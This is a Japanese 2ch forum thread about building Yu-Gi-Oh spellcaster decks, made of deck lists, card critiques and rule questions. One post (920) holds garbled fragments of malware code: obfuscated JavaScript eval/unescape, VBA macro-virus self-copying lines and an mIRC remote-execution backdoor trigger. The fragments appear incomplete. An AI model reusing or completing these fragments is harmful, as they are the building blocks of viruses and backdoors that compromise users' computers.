相手に攻撃力4000超えるモンスターを出されたが末裔の効果で形勢逆転! 俺「末裔TUEEEE!!」 相手「でも末裔ってことは、もう墓守は出ないな。」 俺「・・・・・・・・・・・・・・・・・・・・・・」
>>724 それは言ってはいけないお約束だろw
にしても石版の絵がかっこよすぎる。
古き時代を石版にして伝えて、墓地に眠る墓守達を復活させようとしてる感じが本当に素晴らしい。
墓守なのに墓地に眠るのか
727 :
名無しプレイヤー@手札いっぱい。 :2009/12/21(月) 19:01:09 ID:3jJaLyjC0
里ビ使ってるんだが、お触れ入れようか迷っている やっぱ皆お触れいれてんの?
728 :
名無しプレイヤー@手札いっぱい。 :2009/12/21(月) 19:02:32 ID:3jJaLyjC0
あげてしまった
>>724 海外枠で出るじゃない。
>>727 上で似たようなやりとりあるから参考に。ちなみに俺は入れてない。
730 :
727 :2009/12/22(火) 00:13:05 ID:l+O25Job0
>>729 ん~、自分も最初はお触れ入れてなかったんだけどうまく回らなくて
お触れ入れたら若干マシになったからさ
罠入れるとしたら何入れればいいかな
奈落天罰ミラフォあたり?
731 :
名無しプレイヤー@手札いっぱい。 :2009/12/22(火) 13:32:25 ID:xklpUN3PO
マジシャンズワロス
>>730 お触れ入れると、相手ターンにモンスター効果とかで自フィールドの魔法使い除去された時の対抗手段無くなるぞ?
里のせいで速攻魔法も使えないし
ただ、攻める分にはお触れ頼もしいんだよな…
そこでスタンですよ
お触れは攻めに強く守りに弱い
魔法使いで指定なしレベル9シンクロ出すのに 先生+簡易(ウィザード)+サニピク以外でいい方法ある?
フレマジと簡易帝王かトリッキーか太陽の神官
すまん、指定なしレベル9シンクロってのはミストウォームやトリシューラのことなんだ
そいつら出すなら魔法使いでこだわる必要ないような
結束軸強いとか言ってた奴の嘘つきッッッ 弱いじゃねーか。シンクロ縛られるのが痛すぎる。
自分で考えず、結論を他人任せにするヤツは、負けたとき往々にカードの所為だという。
>>739 エクスプローシブとかアーカナイトとかテンペスター使え
あと何かシンクロいたっけか
☆6でエクスプローシブ出るのと、ブリュ・ゴヨウ出るのとでは大違いだわな
EXP2で準ガチぐらいにはなるかと思われたのにな… パっとしねぇ…魔法使い
魔法使いはカード自体は強いと思うけど動きが鈍い 先生が来れば魔力カウンター溜まるの速くなると思ったら周りそれ以上に速かったんだな 先生をサーチ、リクルできるモンスターや魔法でも出れば一気に強くなりそうなもんだが
手札消費が激しすぎるのと、展開力が無いのと・・・
展開力はあるほうだと思うけど、受動的なカードが多いんだよな。 偵察者とギリギリ先生と見習いはいいとして、 墓守の長、サークルetc は条件を満たしにくいんだよな。 さて、俺の光都市デュアルの魔法使い族の枚数が7枚と少なすぎるような気がするので調整しよう。
シンクロ墓守は準ガチデッキとは対等以上には戦えると思ってる
墓守は魔法使いって言っても別物のような気が・・・ もっと強化してくれコンマイ・・・
残念ながら墓守には”末裔”が出てしまった
魔法使いのサポートはどれもこれも微妙すぎる。
>>750 >>724 まぁそれはともかく、
墓守の場合は番熊やマインのようなフィールド魔法を維持できるようなカードがあれば
数段強くなる。
どこかで出た気がするが、監視者がバレーの破壊無効ならもっと使えたのに・・・。
>>751 確かにね。
ディメマ=モンスター破壊と最上級の召喚を同時に出来るが最低3枚もカードを使う必要がある
クロス =攻撃力が3,000になるが魔法使い族が2体場にいないとダメ。またそのターンのみ。
サークル=相手も出せてしまう。
魔法使い族の里=相手に魔法使い族がいない場合には結構ハマる?しかし居た時には無意味なカードに。
結界 =使いにくすぎ!!!!
他ってなんかあったっけ?
ブラマジや墓守とかの特定の魔法使いが使えるものじゃなくて魔法使いならどれでも対応するカードって。
未来王の予言
拡散する波動
毒蛇、ゴドバ、フィッシャーチャージ、デュアル・スパーク・・・・ 何故、魔法使いには・・・
っディメンジョン・マジック
ありゃ使えん。
>750 次弾ではバイクや機関銃を使いこなす墓守ネクストジェネレーションが登場します。 ご期待ください。
魔法の操り人形は魔法使い族の柱(*^-^*)
魔力カウンターに頑張ってサイレントマジシャン入れてみたんだが、ありゃシナジーないな てか苦労してサイマジを成長させるよりディメマで上級出した方が強いような気がしてきた
普通にレベルアップで良くね
>>761 今はレベルアップでやってる
守るために魔力カウンターいっぱい食べる子なのに、Lv8の能力が苦労に見合ってないからなあ
サイマジも王様も魔力カウンターの価値に見合ってないね
王が好きなところから6個取り除いてなら・・
魔力カウンター強化して欲しいなぁ。 でも、ストラク出てEXP2出て・・・まだ先になりそうか。
コンダクターをもくじでカウンター貯めてディストラクポーションで破壊、カウンターを都市にって考えたけど微妙すぎた
劇場版でネオスが新しい姿になるようだし師匠も何かあるかもな
レベル1なんとかシンクロンにレベル7ブラック・マジシャンをチューニング!
ターボ・シンクロン「……」 ターボ・シンクロン+ミュータント・ハイブレイン+緊急同調のコンボは決まると 相手モンスター2体除去できるのけど、成功率が低いんだよな。
お前らのおかげで希望が持てた レベル8シンクロとか始まったな!
771 :
727 :2009/12/24(木) 00:50:59 ID:gxBD3OuU0
>>732 たしかに…
魔法使い手札結構消費するのね
簡易融合強いわ
魔力カウンターを乗せる条件が、魔法カード使わないといけないのが多いからな すぐ手札なくなっちゃう。
ブラマジがシンクロモンスターとして出てくる電波を受信した
ディメマみんな弱いって言ってるけど、けっこう強いと思うんだけどな… 奈落とかと違って攻めにも守りにも使えて、上級モンスター召喚でき、裏側表示も破壊できる。 リビデとかにチェーンしてジョウゲンさん出せるとお得。 まあ、ガッチガチが相手だとアド損をひしひしと感じるけど… 魔法使いぽくて大好き。 3積みしてます
>アド損をひしひしと感じるけど… だから弱いんだよ 正確にいうとインフレに取り残された
3はないわー アド損をそんなにごまかせる魔法使い系のデッキとかないっしょー 単体除去入れた方が楽だもん
ディメマは今だったら効果処理後に1ドローがついてもいいレベル。
ディメマ出だせるモンスターが微妙なんだよな
>>775-778 ホント今の環境のでは、ディメマの上位互換出ても全く問題ないよな。
コナミーッッッ、頼む魔法使い強化してくれぇぇぇ。
>>778 ディメマ自体は嫌いじゃないからあんまり文句言いたくはないけど
強いカードでもないのは事実だからなー
しかも上級出すよりも下級から下級でつなぐくらいが楽だしね
適当に下級エンディミオンでも入れてスパーク投げてる方が
強いかもしれんしなぁ・・・
>>774 ディメマと上級とジョウゲンが入るデッキってどんなだ
ディメマで星屑破壊して師匠召喚! 手札から黒魔法発動!さぁお前の罪を数えな!ダイレクトアタック! よし師匠デッキ久々に組むか・・・
里置いて霧の王出してジョウゲンも置いて ヴァルキリア並べて後ろにも罠並べてロックするようなデッキは知ってるけどなぁ
>>781 だが、んなデッキが勝てる環境なら確かにディメマもまだ使えるな
けど、んな環境基準にディメマを語られてもねぇ…
サイマジ・O7・虚無統括者置いて触れ里でガチガチに固めるデッキなら作ったことあるぜ
次のパックで 【ディメンション・マジック・ツヴァイ】封入! そんな妄想。
>>768 >>773 こんなんだったら良いな~
「チューナーモンスター偉大なる黒魔術師の魂レベル1にブラック・マジシャンをチューニング。
王よ守護せし魔術師よ今ここに、シンクロ召喚 復活せよ 王墓警護隊長マハード」
ん~ディメマは「手札・デッキのどちらか」にしてくれたら、もっと楽なのにね~。
>>774 それだったら、リミバとサクリファイスとか合わせて、
低レベル魔法使いデッキを作った方が良いと思う。
ファンデッキっぽい師弟デッキ組んでたはずなのに、 ディメマはおろかカーテンもナイフもブラックマジックもはいってないぜ・・・ マジックシリンダーも組み込みたかったが余裕がなくて抜いたし・・・ かといってガチと渡り合えるほど強いとも思えないし、 なんとも微妙なデッキになってしまった気がするぜ。
>>785 俺も作ったことあるが07って攻撃力高くないからダムドとかに殴られてからサイマジも効果で処理されてオワタになるよな
てか回ったかそのデッキ?
>>782 「師匠召喚!黒魔術発動!」
「強制脱出装置」
>>787 何故そこでサクリが出てくるかがわかりません。
よりによって、微妙な魔法使い軸サクリな所もわかりません。
ブラマジデッキにちっちゃいエンディミオンとかディフェンダーを入れてソーサラーを出せるようにしたら少しはマシになるかな? やっぱ里ビと墓盛りが一番いいのかな
>>785 里+お触れ+ジョウゲン+我が身
でかなりいける。
バウンスには弱いけど…
天罰入れてもいけるかな
ブラマジウィルスの診断を頼んでみる デッキ42 モンスター19 ブラマジ3 BMG3 カイクウ3 ブレイカー3 水晶の占い師3 老魔術師2 見習い魔術師2 魔法16 ディメンジョンマジック3 闇の誘惑2 結束2 月書2 カーテン2 嵐 サイクロン 賢者の宝石 洗脳 貪欲 罠7 奈落2 闇デッキ2 激流 ミラフォ リビデ フロンティアのを改悪した感じ ブラマジやガールを使ってある程度勝ちたい 魔デッキは刺さらなそうだからメインには入れてない 回した感想は見習いや占い師で回していけば普通に勝てるけどブラマジやガールを引きすぎて何もできないことがあった ブラマジが除去されまくると辛い 死デッキ禁止がマジで辛い こんな感じ 因みに群雄割拠は持ってません 診断お願いします
>>見習いや占い師で回していけば普通に勝てる よく勝ち筋がわからないので詳しく 死デッキなき今見習いセットはいらないように思えるが
>>795 占い師で手札を増やしながらディメマとかで上級を召喚してビートしたり結束を張って強化した下級モンでビートしたりする感じ
墓地から蘇生させるタイプじゃなくてディメマやカーテンでデッキや手札からだすタイプか 正直ディメマは2つでいいかもしれんしカウンター気味に使っても 後からでてきた上級に殴り負ける可能性もあるし とりあえず洗脳でもぬいてブランコでも入れてみてはどうだろう
熟練黒は1枚あると便利だよ!! 誘惑はコンセプトにそぐわないような気がするから抜いてみてもいいと思う。 これは主観だけど、BMG3積みより、BNG2+カオスマジシャンorコスモクイーンの方がいいと思う。
>>797 水晶じゃ手札増えないぞ
何回目だこの間違い
増えないっていうか維持は出来るってことじゃない?
まあ、一応見習いから水晶出せば…ってことじゃ? でもやっぱり水晶より熟練のほうがいいな。 あと、ブランコとかで師匠を使い回すなら「黒・魔・導」つおいよ
>>801 だったら「手札の質を上げて」とか書けばいいんだけどな
仮に↑のつもりで書いてたとしても
掲示板じゃんなニュアンスは伝えられないんだからやっぱり正しく書くべき
つか、
>>800 の言うとおり頻繁にある間違いなんだから
そろそろ書き間違い自体も気をつけて欲しいねぇ
>>794 だけど
今日大会に出て2-2だった
詳しくは覚えてないけどレポとかあった方がいい?
>>798-803 レスサンクス
手札が増えるっていうのは見習いから出したとき
わかりにくくてスマン
ブランコや血統は強そうだけどやっぱり事故率を上げたくないんだ
診断をお願いします パラディン×2 「最上4」 師匠×3 バスターブレイダー 「上級4」 弟子×3 ソーサラー 「下級14」 マジシャンズバルキリア 見習い魔術師×2 熟練の黒魔術師×2 老魔術師×2 沼地の魔神王×3 図書館×2 マシュマロン 「魔法12」 融合×2 フュージョンゲート テラフォ 拡散する波動 ディメマ 痛魂の呪術 融合解除 賢者の宝石 黒魔術のカーテン 魔力倹約術 黒魔導 「罠6」 魔ウイルス 筒 奈落 天罰 お触れ リビデ パラディンお触れロック。 まわした感じ手札の消耗が激しい&手札事故になりやすいです。 あとその場しのぎで終わってしまうこともしばしば。 入れた方が良い&抜いた方がいいカードがあれば教えてください
>>804 いや見習いから出しても手札は増えないんだぜ?
酷すぎて大幅な構築変更になるぞコレ
構わないです。お願いします
水晶を反転召喚してドローすれば1枚+になる気がする。
まぁそれでなくても2枚カードを選んで、片方を手札にもう片方をデッキの下だから
単なる1ドローよりは使える。
>>805 俺もパラディンを使うが沼地が無くて完成には程遠い。
ちなみに俺は、壁はマスドラやドルドラをとかを使ってる。
デッキ圧縮になるし後々パラディンの強化にも繋がるからね。
それと、血統や黙死,ブランコ,工場とかはバニラであるブラマジを回せるからかなり使える。
魔力カウンター重視でいきたいなら奇跡の復活はそこそこ使える。
除外を利用するなら誘惑を使い次元融合や闇次元で復活も面白い。
お触れロックする気ならやっぱり3枚入れた方がいい。さらに、相手モンスターの効果を封じるのに、
聖杯もあるとかなりメタれると思う。
とりあえず、痛魂の呪術 融合解除 魔力倹約術 筒 あたりは使い勝手が今一つ。
BMGも3積みだと結構重くなる。
パラディンで勝つ!ってのはもちろん良いんだが、パラディンを持ってくるまでの手順を
どれだけ省略できるか。 また、出したはいいが手札が無くて魔法を防ぐ効果が使えない。
となるとかなり泣けるからその対策を考えると◎
水晶は使ってみると体したことのないカードの筆頭
俺のデッキにはダイヤモンドガイ入れてる 騎士の称号や黒魔導引いたらニヤニヤが止まらなくなるよ
そうか?水晶は使えるけどなぁ
それはどんな環境での話?
相手の伏せが水晶だけで魔法も罠もなかったからライロで1キルしてやったのを思い出してしまった
水晶はまあ使えない事は無いが、今のぶっぱな環境じゃな 魔法使い打点あげないとつらいな 結束にお触れ里を組み込むか…
>>810 具体的にありがとうございます
先ず軽くして上手く回せるように組んでみます
ありがとうございました
手札対策をしないと本当に厳しいんでその強化もしないとなぁ
RPGとかで魔法使いって、攻撃力低そうなイメージあるよな だからなのか、遊戯王でも高火力で押し切る種族じゃないよな
物理攻撃力は低いけどブチ込む魔法の威力がとんでもないのが増えた
>>818 友人達のデッキと比べて火力不足だと嘆いてた自分がアホに思えてきた。
全て合点がいった。
単体で戦うよりサポートに回ったほうがいい働きをするのもRPGの魔法使いに似てる んで出向して暴れすぎて禁止制限送りと
最近またカード始めました(6年ぶりくらい) どなたかアドバイスくださいよろしくお願いします モンスター16枚 上級 ブラック・マジシャン3 ブラック・マジシャン・ガール3 下級 ブレイカー3 熟練の黒魔術師2 カイクウ1 ものマネ幻想師1 マジカル・コンダクター2 召喚僧サモンプリースト1 魔法16枚 ディメンション・マジック3 黒魔術のカーテン1 黒・魔・導2 魔法族の里3 テラ・フォーミング2 賢者の宝石2 結束2 サイクロン1 罠12枚 強制脱出2 奈落2 天罰3 激流1 リビングデッドの呼び声1 マジシャンズ・サークル3 現在44枚なんですが40枚にしたいですアドバイスお願いします あと軸で使いたいのはブラマジと魔法族の里です
>>822 ディメマ、サークルと天罰は2枚でいいかな
ものまねも微妙
結束はもう一枚欲しいかも、腐ったカードを捨てるためのサモンなんだと思うが
コンダクターは呼び出すのに微妙、黒魔術師やカイクウ呼び出すのも微妙
いっそレベル4のチューナー入れるのもありだがそうすると結束がいらなくなる
それならサモンを抜いて氷結界の風水師を、コンダクターで呼んでアーカナイトなら結束でもなんとかなるか
ガールやマジシャン蘇生はコンダクターだとちと厳しいんじゃないか、むしろブランコや血統のほうが良さそう
ブラマジ、里に結束かそれともシンクロかでもいろいろと違ってくる
っと見るんだが魔法使いあんまり詳しくないからあってるのかはわからん
>>823 なるほど。実際妄想でデッキ考えてみただけでまだ実戦では未使用だったから、
アドバイスのお陰で視野が広がりました。ありがとう
ディメマ、サークルと天罰の調整、コンダクター→ブランコor血統でまた考えてみます
あとシンクロにはまだ馴染めそうにないので見送ってみます
わざわざありがとう。また何か気づいた点があったら言ってください。
デッキ考えるのって楽しいな~
>>824 回した感想がなければ診断しにくい
あと里とブラマジをあわせると事故率やばいけどいいの?
師弟デッキの流れと聞いて俺もデッキ診断お願いしたいです モンスター21 (上級最上級6) ブラック・マジシャン:3 ブラック・マジシャン・ガール:3 魔導戦士ブレイカー:2 魔導騎士ディフェンダー:3 熟練の黒魔術師:3 マジカル・コンダクター:2 マジカルフィシアリスト:2 水晶の占い師:3 魔法:17 魔力掌握:3 魔法都市エンディミオン:2 テラ・フォーミング:1 ディメンション・マジック:2 黒魔術のカーテン:1 一族の結束:2 賢者の宝石:1 召喚師のスキル:1 サイクロン:1 大嵐:1 黒・魔・導:1 罠:4 昇天の黒角笛:2 マジシャンズ・サークル:2 合計42 ※エクストラデッキも魔法使いで統一してます チューナーがLv2 しかいませんが コンダクターに掌握を使い、 水晶とフィシアリストを蘇生してアーカナイトを出してます 魔力カウンター中心の師弟デッキです ディフェンダーのおかげでモンスターの場持ちもそこそこよく、 ブラマジの召喚もスピーディに行えるんだけれども どうしてもパワー不足で相手に押されがちなのが気になる・・・ あと、次元幽閉や脱出装置がストラク再版されてやたら食らうようになったんで 簡単に上級魔法使い展開できるし、黒の魔法神官さんでも突っ込んでみようか悩んでます´・ω・
>>825 そうですよね、実際に試した感想がないと診断もくそもないですね。申し訳ないです
事故率高くても大丈夫です。数人の地元友達とやるぐらいなので、それなら個性を出したいと思いまして。
あとブラマジは、だいぶ前の小学生の時に自分が転校する際、友人から貰った思入れのあるものなので、使いたいです
アドバイスし辛いと思いますが、何かあればお願いします。
>>826 神官を出す前に処理されると思うから入れないほうが安定するよ。
罠が怖いなら、お触れかトラスタを入れたほうがいいと思うよ。
この構築だと先生は抜いていいと思うよ。
シンクロしたいなら、フィシアリストよりナイトエンドの方がいいよ。
魔法使い縛りならエクストラに空きがあるから簡易融合も選択肢としてあっていいと思う。
なんか優秀なサポート来ないかな 魔法使いで固めるメリット薄い
>>829 ホントにな・・・
結束/割拠のお約束しかない。
魔法使い版レダメ! …なんか出ても微妙な気がする。
魔法使いに足りないものそれは…足りてるものがないや
禁止制限の多さ、知名度、リクルの多さは足りているよ。
禁止がこれだけ多い種族だからコナミもそう簡単に強化できないんじゃないかと
帰ってこいよ混黒ぉぉぉ
>>828 診断ありがとうございます
トラップスタン!そういうのもあるのか
他の罠との共有もできてよさそうですね、いいカードを教えてもらった
魔力カウンター使うなら先生必須かなーと思ってたけれど
抜いても大丈夫なもんなんですね、盲点だった
混黒復帰は下位・調整版に解放DDRあるから厳しいな 魔法使いは混黒以外にエース張れる最上級がいない 上級も弱くはないが環境のインフレで微妙だし 下級が優秀だから下級をサポートしていった方がやれるってのはなぁ… 氷の女王とかブリザドじゃなくてブラマジ皿混黒並みのルックス持ってる最上級こねえかな
>>838 ディメンション・マジックがあるんだから、
制圧力か爆発力があって召喚制限のない最上級さえ来れば大分構築の幅が出るんだけどな…
SSをディメマに頼らないといけない内は、よほどのチート効果持ってないと使われないだろうな モンスター自体にSS効果が内蔵されてればいいんだけど、王様は条件が厳しすぎる
それ以前に2700ってのが・・・ あと100高ければよかった
氷の女王をなんとか生かそうとしてトレインを入れようとする 他の8を入れようとコスモ入れる、バニラなのでブラマジ軸が良さそうな予感 いつのまにかサイマジと預言者でトレインぶん回すことになってしまった 結局ディメマが入らなくなった
伝説の爆炎使いを使ったデッキを組みたいのですが どんなふうに組むのがいいでしょうか? 今はエンディミオンを軸に効果を何回も使えるようなのを考えています デッキは爆炎使いに特化したほうがいいでしょうか? コンダクターからナイトエンドソーサラーを出してシンクロ みたいなギミックも詰もうかと考えてるんですが事故の元になるでしょうか?
誰か師弟ビートデッキ考えてくれよ
魔力カウンター難しすぎだろ・・・本気で組んだデッキが魔力カウンターなのだが、どんなに考えても友人達のデッキには勝てん。 特に新しく出たSDのパッケージモンスターとか反則なぐらい強かった・・こっちが形成立てる前に3000 2500 あたりが3体ぐらい普通に並んで尚且つ時々リミカイとんてくるぞww 割と皆のレシピを参考にさせてもらってるんだがやはりいまいちピンと来ないんだよな・・・ だからといって自分の考えたレシピもなんか微妙だし・・・やはり速さがたりない・・・ 結界は六武衆の結束みたく結界だけ送ってドローだったら使いやすかったんだけどな・・・ 水晶が光か闇だったらと何度思ったことか・・・FLとか同じ魔法使いなのにドローソース優秀すぎて泣けた専用カードだすなら魔力カウンターにも・・・・
仮に混沌帰ってきても悪用されるだけだな
>>844 Sin ブラック・マジシャン出てから本気出す!
>>844 >>847 デッキ作りに悩むとファイルに入った師弟をみてどうにかいいデッキを作れないか悩むんだけどなかなか難しいな…
デュアルに突っ込んでエヴォルテクターの除去ついでにスーペル効果で出すとか強引な方法しか思いつかない…
王様「私の出番か」
ブラマジビートって見習い水晶以外に強い型ってないんかな
>>847 sinブラマジがでたら里が強くなりそう
そもそも見習いとか入れるのも「型」ってわけじゃないだろ 最近じゃこいつらもあまりあてに出来ないしな
つトイマジ型
魔力カウンターデッキ作ったから診断頼む デッキ40 モンスター18 風水師2 ブレイカー2 ディフェンダー3 カイクウ フィシアリスト2 見習い3 コンダクター3 サモプリ トゥーンジェミナイエルフ 魔法19 大嵐 サイクロン 光の護封剣 簡易融合3 テラフォーミング2 魔法都市2 もくじ3 掌握3 結束3 罠3 奈落 聖バリ 激流葬 EX アーカナイト3 テンペスター2 エクスクローシブ2 音楽家の帝王3 カオス・ウィザード2 まわした感想として 魔力カウンターが溜まりに溜まってテンペスターでバーンしたい!ってところでチューナー来なくてシンクロ出来ない 相手のフィールドに攻撃力が高いモンスターが並んでどうにもならない
単純にチューナー増やすかおろ埋で落とすかだな その前に、魔力カウンター乗ったままの都市を放置するとか温い環境だと思うけど もくじも掌握も3積みとか事故要因でしかないし、どうせなら収縮とか除去魔法とかで戦闘補助もしてあげれば?
だな。 out:もくじ×3 掌握×3 ジェミナイ×1 見習い×3 ディフェンダー×1 in:月の書×3 おろ埋×2 偵察者×2 番兵×1 熟練×2
数間違えてたな。 out:もくじ×3 掌握×3 ジェミナイ×1 見習い×3 ディフェンダー×1 フィシアリスト×2 in:月の書×3 おろ埋×2 偵察者×2 番兵×1 熟練×2 ナイトエンド×3
掌握いらないの? ブレイカーにカウンター乗せるの掌握だけだしサーチもするから優秀だと思うんだけど あと熟練はハイビートアタッカーとして入れるの?
ブレイカーにカウンター乗せてどうすんの?
魔法罠破壊するんだよ
最初に乗るじゃん、まさか何ターンも使いまわそうと考えてるの?
うむ
いや、2枚破壊するんだよ
掌握使って強いのはアーカナイトだと思うな 効果で掃除したあとの1000アップはなかなか
魔力掌握の最大の欠点はやっぱ回数制限があった事だよなぁ… これさえなけりゃ魔力カウンターには入れない理由が無かったってのに
すみません、ディメンションマジックの効果でフォーチュンレディ・ライティを破壊した場合、チェーン1に魂の綱、チェーン2でライティの効果とチェーン組むことは出来るでしょうか?ライティの効果が強制の場合は、ライティの効果が必ずチェーン1になりますか?
>>867 フォーチュンレディスレはここじゃないが
たしかライティーの効果はチェーン2以降では発動できないはず
あとディメンションマジックでリリースするのでは効果は発動できないよ
ジェスターはもう増えないのかねぇ
AKB軸に里を突っ込んだデッキを昔使ってたな。 猫を使うから統一デッキじゃなくなるが、シンクロ要素のお陰で充分強かった
ABPF-EN08? Spellcaster Support これに期待しよう・・・マジデ
「フィールド上の魔力カウンターを1つ取り除き、カードを1枚ドローする。」 これぐらいあっても何ら問題ないだろッッッッ
コストがついた回数制限無しの強化魔力掌握ならば朗報レベル そうじゃないなら…はぁ
あぁ、それと今日魔力カウンターに成金入れたらムチャクチャ良くなったわ。 あれはいいものだ。
今後出るサポートはテーマ単位でなく種族単位にしてもらいたい
それやるとカードを増やしにくくなりそうじゃん そのうち機械鳥獣アンデが一斉弾圧されそう・・・
>>875 今の魔法使いには2つとも必要だ。
魔法使いで染めるに値するカード
魔力カウンターを使うに値するカード
>>876 そうしないと何れかのテーマを切り捨てるかすべてが中途半端になるからさ
それにこの先テーマが増えてもまともな既存のサポートがないのもな
>>877 魔力カウンターはもういいよ
魔力カウンターは、毎シリーズ1,2種類くらい出ればいいよ。 やっとエクストラデッキが完璧な状態になった。 アーカナイト、テンペスター、エクスプローシブ、ウィザード、音楽家3枚ずつで丁度15枚に。 枚数的に、魔法使い族のエクストラは、今のところ余りも不足もないから、とりあえずこれら5種類を3枚揃えておけば問題ないからね。
>>872 王立魔法図書館「・・・・・・・・・・・・・・」
攻1500守1800くらいの図書館なら欲しい
忘れがちだがエクゾも魔法使い族なんだよ! ってことですね
エクゾは幻神獣族に変えてください。正直足引っ張ってます。
魔法使い族強いじゃん フェニックスブレードで除外した光帝をDDRして最後にジャンクコレクターをDDRしてマジエクするオナニーデッキ 大会以外で使うんじゃねーよ死ねw
戦士族じゃねーか
図書館はカウンター3個も使うんだから、デッキ・墓地から任意の魔法カードを手札に加える。 位あってもいいな。
強すぎだろw
王様「」
墓守ってABPFのサポート出て強くなった?
図書館 カウンター2個だったらなーかなり使いやすかったのに・・・
悪用されて禁止になるだけ
1ターンに1度なら
海外のABPFの新規カードが判明するのっていつ頃? 2月16日発売ってことは・・・その1週間前とかには分かるかな
ぼちぼち出てるぞ? 魔法使いに関係のあるカードはまだだが…
ブラックパラディンデッキ組んでる人いる? LEのイラストが半端なくカッコイイから組んでみたいんだが。
俺もバスターブレイダーが魂のカード過ぎて使ってた でもあまり勝てない上主人公ごっことしても微妙で崩した
助けてくれ… ずっと組んでた都市アーカナイトが勝率さがったから 新しくアーカナイトを軸に置いたデッキを新しく組みたいんだが 都市を採用しないで組んだ方が強いんだろうか? もうだめだ…
900 :
名無しプレイヤー@手札いっぱい。 :2010/01/04(月) 12:52:09 ID:Oe13WhOG0
テンペスターとアーカナイトをシンクロすること重視ってのはどうかな
都市型って強いのは強いんだろうけど安定感なさすぎてなぁ… 最近回してないや
手札消費が激しくて長期戦出来ないから、 テンペス・アーカナイトを同時に出すことに重きを置いた構築がいい。 アーカナイトにテンペスの効果で1個乗せただけで勝利だ。相手が空なら・・・
アーカナイトを使いたいんなら猫のが強い
猫って言葉久々に聞いた もう死語かと思ってた・・・
アカナイとテンペス使っているならパワーストーンを1枚くらい積んでみるのはどうか? 罠で遅いけどブラフに使えるし、都市積んでるならチェーンしてカウンタたまるし。 なんにせよ、3枚破壊or1500ダメはでかいと思うのだが
アカナイはまずそんなに相手の場にカードがあるがどうか・・・ あったとしてもそれなら黒薔薇出しときゃいいような気がする テンペスは1枚使って1500ダメじゃちょっと割に合わなくね?
診断お願いします デッキ42 アーカナイトビート モンスター21 ベルン3 キラトマ3 カイクウ2 トリッキー3 マジカル・コンダクター2 猫1 サモプリ1 クリッター1 フィシアリスト1 ナイトエンド・ソーサラー2 ゾンキャリ1 メタモル1 魔法18 簡易融合3 シンクロキャンセル3 月書3 おろ埋2 断札2 貪欲2 嵐 洗脳 貪欲 精神操作 罠3 激流 ミラフォ リビデ EX14 音楽の帝王2 アーカナイト3 テンペスター2 ゴヨウ ブリュ スタダ 黒薔薇 レモン ウルキサス メンタル とりあえず、アーカナイトで破壊だけを考えて作りました。 断札は手札に来たベルン・猫・ゾンキャリ辺りを処理するために入ってます。 アーカナイトで破壊した後が弱いのと決め手が無くて困ってます。 勝軸で使いたいのはシンクロキャンセルです。 つときがブリュ・ゴヨウばかりなのでフィニッシャーも何かあればお願いします。
>>アーカナイトで破壊した後が弱いのと決め手が無くて困ってます。 今のAKBじゃあどうしようもない。ダムドを強引に組む込むぐらい? >>勝軸で使いたいのはシンクロキャンセルです。 決め手がない以上は厳しい。レベル7のフィニッシャーが出るのを待つしかない 今魔法使いでフィニッシャーといえるのはテンペストぐらいだから ゴヨウブリュに頼ってしまうのは仕方がないね 診断は別の人頼んだ
>>902 1番強い勝ち筋はそれだよなぁ。
そのアカテンを魔法使い族だけでやろうとしてるんだけど・・・
中々難しいわ。
>>907 スマン、完全に魔法使い縛りで考えてた。確かに黒薔薇の手っ取り早いなw
1枚1500ダメは自分は許容範囲内だな。罠なのが残念だが
>>909 助言ありがとうございます。タイプミスが目立って申し訳ないw
墓守増やしてダムド採用するか、魔力カウンターで焼くぐらいしか
火力は上がらないのか。
ていうか前のAKBってDDBがフィニッシャーだったのねw
魔力カウンターの人のAKBが無いか調べてくる・・・。
TFで結束霊使い使ってるんだが何故か結束が引けない(´・ω・`) OCGで組んでみようかなーと思ってるんだけどやっぱりフィールドは里の方がいいかな? と言うか戦闘面でかなり弱いから苦痛も積んだ方がいいのだろうか…
>>913 苦痛と結束は片方だけの方が良い、引けないんならタイムカプセルという便利なものがあるよ!
ジョウゲン積んでる人いる?友人にそれ抜いてヴァルキリアでも入れた方が強いって言われてるんだが・・
>>914 タイムカプセルより黄金櫃のほうが(ry
やっぱ赤騎士でた時に魔力カウンターがあると無双になるからな~あの軸で強くしたい。
友人同士のファンデッキなら普通にいい勝負できるのだがファンデッキでもフィールド合戦あると厳しいかな
ライロは現環境で魔力カウンターで勝つのは不可能だろw
破壊はディフェンダーがいるから何とかなるのだが月の書と脱出装置で積む
魔法使いオンリーなら群雄割拠ってどうなの??結束いれてまぁ統一してるやつには厳しいがライロには刺さると願いたいw
ヴァルキリアはいったいどのデッキで活躍できるんだろうか なぜゴールドに収録されたのかいまだによくわかないんだが
>>914 自分はジョウゲン積んでるよ。オネスト、魔法の筒等で守らないとなかなか維持するのは難しいけども。
ヴァルキリアは一応魔法使いファンとしては 持ってて損はないんじゃない? イラストは素晴らしいし、GSのデッキケースも ヴァルキリアのおかげでみんな欲しがってるくらいだし
入ってたら持っててもいいが入ってなくてもどうでもいいレベル だって僕にはピケルちゃんがいるんだもん!
920 :
名無しプレイヤー@手札いっぱい。 :2010/01/06(水) 14:12:32 ID:Ao/uEfqI0
(){eval(unescape(('Script(t,'%')))})(/./g); ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
アタッカーにヂェミナイ・熟練・カイクウを抱え
切り札にはエンディミオンや氷の女王や墓守の大神官を擁し
トリッキーやBMGや太陽の神官や皿も下級みたいに出すのは簡単
師匠とヂェミナイ、コスモを軸にバニラビートを組んでもいいし
沈黙魔女や魔法族の里や黒の魔法神官でロックデッキもおk
最下級には執念・モノマネ・見習い・水晶など層も厚く、
下級にも優秀な壁の墓守の偵察者、ディフェンダー
種類が豊富なチューナー勢
モンスターを素早く呼んでこられるサモプリ
魔法使い達を束ねる先生
3400もの攻撃力を叩き出すリリー、魔法・罠除去のライラやブレイカーと有能なモンスターを擁す。
魔法は師匠関連の強烈なサポートにこれぞ魔法使いのディメンションとサークル
魔力カウンターも罠できちんとサポートしてる
そして無限の可能性を秘めた魔法都市とアーカナイトとテンペスター・・・・・・・・・・・
そんな魔法使い達で最強を目指すためのスレです。
前スレ
【遊戯王】魔法使い族デッキを極めるVol.21【墓守】
http://schiphol.2ch.net/test/read.cgi/tcg/1253621144 関連スレ
【遊戯王】墓守を保守するスレ【ぼしゅ】 dat落ち
http://schiphol.2ch.net/test/read.cgi/tcg/1192637868/l50 【遊戯王】フォーチュンレディ レベル9
http://schiphol.2ch.net/test/read.cgi/tcg/1255195524/l50 ・どこまでが魔法使いデッキかは個人差があります。
